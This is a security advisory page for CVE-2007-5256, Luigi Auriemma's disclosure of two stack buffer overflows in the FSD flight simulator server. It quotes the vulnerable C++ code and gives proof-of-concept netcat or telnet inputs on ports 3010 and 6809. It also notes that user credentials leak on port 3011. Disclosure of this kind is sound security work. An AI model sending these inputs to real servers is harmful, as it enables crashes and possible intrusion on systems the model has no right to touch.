|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 3195 CVE : CVE-2007-5256 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : Luigi Auriemma Published : 06.10.2007
Advisory Content : ####################################################################### Luigi Auriemma Application: FSD http://www.mcdu.com/en/download.php Versions: <= "V2.052 d9" (original FSD) and "V3.000 d9" (FSFDT FSD) Platforms: Windows and *nix Bugs: A] buffer-overflow in exechelp B] buffer-overflow in execmulticast Exploitation: remote Date: 01 Oct 2007 Author: Luigi Auriemma e-mail: aluigi (at) autistici (dot) org [email concealed] web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== FSD is an (the only?) open source Flight Simulator server. An interesting story about it is available here: http://www.vatpac.org/administration/history.htm ####################################################################### ======= 2) Bugs ======= ------------------------------ A] buffer-overflow in exechelp ------------------------------ A buffer-overflow vulnerability caused by the usage of strcpy() on a stack's buffer of 100 bytes is exploitable through the HELP command on port 3010. from sysuser.cpp: void sysuser::exechelp(char **array, int count) { int copymode=0, topicmode=0, globalmode=0; char topic[100],line[100]; char *s=(count>0)?array[0]:(char *)NULL; if (s) strcpy(topic,s); else ... ----------------------------------- B] buffer-overflow in execmulticast ----------------------------------- Another stack buffer-overflow with another buffer of 100 bytes is exploitable through the sending of various commands to port 6809 which calls the sendmulticast function. from servinterface.cpp: int servinterface::sendmulticast(client *source, char *dest, char *s, int cmd, int multiok, absuser *ex) { client *destination=NULL; char data[1000], servdest[100]; ... switch (dest[0]) { case '@': case '*': if (!multiok) return 0; strcpy(servdest, dest); break; default: sprintf(servdest,"%%%s",dest); ... ####################################################################### =========== 3) The Code =========== A] connect with nc or telnet to port 3010 (sometimes it can be 3011, but it's easy to recognize since it shows a "FSD>" prompt) and then send: HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa B] connect with nc or telnet to port 6809, now you must log in or create a new user, but seems that all usernames and passwords are available on port 3011 (or 3012) where they are sent just when you connect: #AAcallsign::ident:122222:122222:1:9 $PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa (in the above example the first 122222 is the CID and the second one is the password) ####################################################################### ====== 4) Fix ====== No fix. No reply from the current maintainers (MCDU). ####################################################################### --- Luigi Auriemma http://aluigi.org http://forum.aluigi.org http://mirror.aluigi.org  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |